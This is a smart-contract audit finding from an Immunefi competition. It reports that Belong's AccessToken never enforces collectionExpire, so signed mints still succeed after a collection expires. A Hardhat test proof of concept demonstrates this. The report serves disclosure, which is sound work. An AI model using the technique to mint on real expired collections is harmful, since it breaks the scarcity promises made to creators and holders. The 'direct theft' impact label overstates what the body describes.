57701 sc insight accesstoken collectionexpire is never checked allowing tokens to be minted even after the collection expires
Submitted on Oct 28th 2025 at 09:53:21 UTC by @s8olidity for Audit Comp | Belong
- Report ID: #57701
- Report Type: Smart Contract
- Report severity: Insight
- Target: https://github.com/immunefi-team/audit-comp-belong/blob/main/contracts/v2/tokens/AccessToken.sol
Impacts:
- Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief / Intro
The collectionExpire field in AccessTokenInfo is never checked in any mint entry (mintStaticPrice / mintDynamicPrice), and signature verification does not include an expiration time constraint. Consequently, after the collection expires, requests with a valid signature (or a persistent checkout) can continue to be minted indefinitely.
Vulnerability Details
- The structure definition includes
collectionExpire(contracts/v2/Structures.sol:32), but themintStaticPriceandmintDynamicPricemethods in theAccessTokencontract do not check the current time againstcollectionExpire. - The
SignatureVerifiersignature for the mint parameter only coversreceiver/tokenId/tokenUri/price/whitelistedparameters, and does not include a time or window, making it impossible to constrain expiration at the signature level. - Therefore, as long as a signature is present, the contract will not refuse to mint tokens due to "collection expiration," which deviates from the standard business objective of "collection lifecycle."
Impact Details
- The promised "sale/minting window" is invalid: minting can continue even after the expiration date, violating scarcity and redemption rules;
- If peripheral systems/frontend dependencies have expired, attackers can manually interact with the contract to mint NFTs directly;
- Recommended Severity: Medium ("Unauthorized minting of NFTs" strictly requires unsigned minting to be considered critical, but this is considered a business violation due to "failure to stop minting on schedule" and still poses a risk).
References
- contracts/v2/tokens/AccessToken.sol:162, 199, 212 (mint entry does not check for expire)
- contracts/v2/utils/SignatureVerifier.sol (mint verification hash does not include expire)
- test/v2/tokens/accessToken.test.ts (only asserts storage, not validation)
Proof of Concept
PoC: test demonstrating mint succeeds after collectionExpire has passed
test/v2/tokens/accessToken.expiry.test.ts
import { ethers } from 'hardhat';
import { expect } from 'chai';
import EthCrypto from 'eth-crypto';
import {
deployAccessTokenImplementation,
deployCreditTokenImplementation,
deployFactory,
deployRoyaltiesReceiverV2Implementation,
deployVestingWalletImplementation,
} from '../../../helpers/deployFixtures';
import { deploySignatureVerifier } from '../../../helpers/deployLibraries';
import { deployMockTransferValidatorV2 } from '../../../helpers/deployMockFixtures';
import { Factory, AccessToken } from '../../../typechain-types';
import { BigNumber } from 'ethers';
function signStatic(
signer: any,
receiver: string,
tokenId: number,
tokenUri: string,
whitelisted: boolean,
chainId: number,
) {
const hash = EthCrypto.hash.keccak256([
{ type: 'address', value: receiver },
{ type: 'uint256', value: tokenId },
{ type: 'string', value: tokenUri },
{ type: 'bool', value: whitelisted },
{ type: 'uint256', value: chainId },
]);
return EthCrypto.sign(signer.privateKey, hash);
}
describe('AccessToken collectionExpire ignored', () => {
it('Mints succeed even after collectionExpire has passed', async () => {
const [owner, creator, buyer] = await ethers.getSigners();
const signer = EthCrypto.createIdentity();
const signatureVerifier = await deploySignatureVerifier();
const accessImpl: AccessToken = await deployAccessTokenImplementation(signatureVerifier.address);
const rrImpl = await deployRoyaltiesReceiverV2Implementation();
const creditImpl = await deployCreditTokenImplementation();
const vestingImpl = await deployVestingWalletImplementation();
const validator = await deployMockTransferValidatorV2();
const implementations: Factory.ImplementationsStruct = {
accessToken: accessImpl.address,
creditToken: creditImpl.address,
royaltiesReceiver: rrImpl.address,
vestingWallet: vestingImpl.address,
};
const factory: Factory = await deployFactory(
owner.address,
signer.address,
signatureVerifier.address,
validator.address,
implementations
);
const chainId = (await ethers.provider.getNetwork()).chainId;
const creationSig = EthCrypto.sign(
signer.privateKey,
EthCrypto.hash.keccak256([
{ type: 'string', value: 'EXPIRED' },
{ type: 'string', value: 'EXP' },
{ type: 'string', value: 'uri' },
{ type: 'uint256', value: 600 },
{ type: 'uint256', value: chainId },
])
);
const info = {
metadata: { name: 'EXPIRED', symbol: 'EXP' },
contractURI: 'uri',
paymentToken: ethers.constants.AddressZero, // native
mintPrice: ethers.utils.parseEther('0.01'),
whitelistMintPrice: ethers.utils.parseEther('0.005'),
transferable: true,
maxTotalSupply: BigNumber.from('10'),
feeNumerator: BigNumber.from('600'),
collectionExpire: BigNumber.from('0'),
signature: creationSig,
};
await factory.connect(creator).produce(info, ethers.constants.HashZero);
const { nftAddress } = await factory.nftInstanceInfo('EXPIRED', 'EXP');
const nft = (await ethers.getContractAt('AccessToken', nftAddress)) as AccessToken;
const mintSig = signStatic(signer, buyer.address, 1, 'token/1', false, chainId);
const params = [{ tokenId: 1, whitelisted: false, tokenUri: 'token/1', signature: mintSig }];
const expected = info.mintPrice;
await expect(
nft.connect(buyer).mintStaticPrice(
buyer.address,
params,
await nft.NATIVE_CURRENCY_ADDRESS(),
expected,
{ value: expected }
)
).to.not.be.reverted;
});
});